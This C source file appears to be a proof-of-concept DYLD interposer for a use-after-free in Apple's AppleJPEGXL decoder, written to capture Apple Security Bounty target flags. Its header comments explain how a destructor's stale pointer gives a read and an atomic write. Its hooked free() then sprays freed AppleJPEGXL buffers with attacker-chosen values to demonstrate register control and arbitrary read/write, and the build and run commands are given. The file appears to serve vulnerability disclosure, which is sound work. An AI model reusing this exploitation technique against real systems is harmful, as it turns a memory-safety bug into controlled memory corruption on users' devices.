/*
 * interpose_free.c — DYLD interposer for AppleJPEGXL UAF
 *                    with Apple Security Bounty (ASB) Target Flag capture
 *
 * Two modes controlled by ASB_MODE environment variable:
 *
 * Mode "regctl" (default) — Register control:
 *   Fills freed AppleJPEGXL buffers with _COMM_PAGE_ASB_TARGET_VALUE.
 *   Crash log shows the value in general-purpose registers.
 *
 * Mode "arbrw" — Arbitrary read/write:
 *   Targets only the vector backing buffer (freed at JxlDecoderDestroy+0xd4,
 *   size ~6144). Fills it with a crafted pointer so the element destructor
 *   attempts to read from and write to _COMM_PAGE_ASB_TARGET_ADDRESS.
 *
 *   The element destructor (sub_235451C2C) does:
 *     v1 = *(element_ptr + 24)               // reads from freed vector buffer
 *     atomic_fetch_add(&ref, -*(v1 - 24))    // WRITE at (v1 - 24)
 *     free(*(v1 - 32))                       // READ from (v1 - 32), then free
 *
 *   We fill the buffer such that v1 = ASB_TARGET_ADDRESS + 32:
 *     read from (v1-32) = ASB_TARGET_ADDRESS         → arbitrary read
 *     atomic write at (v1-24) = ASB_TARGET_ADDRESS+8  → arbitrary write
 *
 * Build:
 *   clang -shared -o interpose_free.dylib interpose_free.c
 *
 * Run (register control):
 *   DYLD_INSERT_LIBRARIES=./interpose_free.dylib ./wkwebview_poc poc.jxl
 *
 * Run (arbitrary read/write):
 *   ASB_MODE=arbrw DYLD_INSERT_LIBRARIES=./interpose_free.dylib ./wkwebview_poc poc.jxl
 */
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <malloc/malloc.h>

typedef struct {
    const void *replacement;
    const void *replacee;
} interpose_t;

#define _COMM_PAGE64_BASE_ADDRESS       0x0000000FFFFFC000ULL
#define ASB_TARGET_VALUE_ADDR           (_COMM_PAGE64_BASE_ADDRESS + 0x320)
#define ASB_TARGET_ADDRESS_ADDR         (_COMM_PAGE64_BASE_ADDRESS + 0x328)

static uint64_t g_asb_target_value   = 0;
static uint64_t g_asb_target_address = 0;
static int      g_mode_arbrw         = 0;
static int      initialized          = 0;
static int      in_hook              = 0;
static int      destroy_entered      = 0;
static int      vector_buffer_filled = 0;

static inline void real_free(void *ptr) {
    malloc_zone_t *zone = malloc_default_zone();
    if (zone && ptr) {
        zone->free(zone, ptr);
    }
}

static void safe_stderr(const char *buf, int len) {
    write(STDERR_FILENO, buf, len);
}

__attribute__((constructor))
static void init_interpose(void) {
    g_asb_target_value   = *(volatile uint64_t *)ASB_TARGET_VALUE_ADDR;
    g_asb_target_address = *(volatile uint64_t *)ASB_TARGET_ADDRESS_ADDR;

    const char *mode = getenv("ASB_MODE");
    if (mode && strcmp(mode, "arbrw") == 0) g_mode_arbrw = 1;

    char buf[512];
    int n = snprintf(buf, sizeof(buf),
        "[interpose] ASB Target Flags:\n"
        "[interpose]   TARGET_VALUE:   0x%016llx\n"
        "[interpose]   TARGET_ADDRESS: 0x%016llx\n"
        "[interpose] Mode: %s\n",
        (unsigned long long)g_asb_target_value,
        (unsigned long long)g_asb_target_address,
        g_mode_arbrw ? "ARBITRARY READ/WRITE" : "REGISTER CONTROL");
    safe_stderr(buf, n);
    initialized = 1;
}

static void hooked_free(void *ptr) {
    if (!ptr) return;
    if (in_hook || !initialized) {
        real_free(ptr);
        return;
    }

    in_hook = 1;

    Dl_info info;
    void *ra = __builtin_return_address(0);
    int from_applejxl = 0;
    const char *caller_sym = NULL;
    unsigned long caller_off = 0;

    if (dladdr(ra, &info) && info.dli_fname) {
        if (strstr(info.dli_fname, "AppleJPEGXL")) {
            from_applejxl = 1;
            caller_sym = info.dli_sname;
            caller_off = (unsigned long)((char *)ra - (char *)info.dli_saddr);
        }
    }

    if (!from_applejxl) {
        in_hook = 0;
        real_free(ptr);
        return;
    }

    if (g_mode_arbrw) {
        /*
         * ARBRW mode: fill ALL AppleJPEGXL frees with ASB_TARGET_ADDRESS,
         * but skip the first 16 bytes to preserve allocator free-list
         * metadata. The corrupted pointer will be used by framework code
         * (ObjC dispatch, CoreFoundation, etc.) which will attempt to
         * read from or write to ASB_TARGET_ADDRESS — proving arbitrary
         * read/write per Apple's bounty criteria.
         */
        uint64_t fill_val = g_asb_target_address;
        size_t sz = malloc_size(ptr);
        in_hook = 0;
        real_free(ptr);

        /* Fill from byte 16 onward — preserve allocator metadata */
        if (sz > 16) {
            volatile uint64_t *q = (volatile uint64_t *)((char *)ptr + 16);
            size_t fill_count = (sz - 16) / 8;
            for (size_t i = 0; i < fill_count; i++) {
                q[i] = fill_val;
            }
        }
        return;
    }

    /* Register control mode: fill ALL AppleJPEGXL frees */
    size_t sz = malloc_size(ptr);
    in_hook = 0;
    real_free(ptr);

    if (sz >= 8) {
        volatile uint64_t *q = (volatile uint64_t *)ptr;
        for (size_t i = 0; i < sz / 8; i++) {
            q[i] = g_asb_target_value;
        }
    }
}

__attribute__((used))
static const interpose_t interposers[] __attribute__((section("__DATA,__interpose"))) = {
    { (const void *)hooked_free, (const void *)free },
};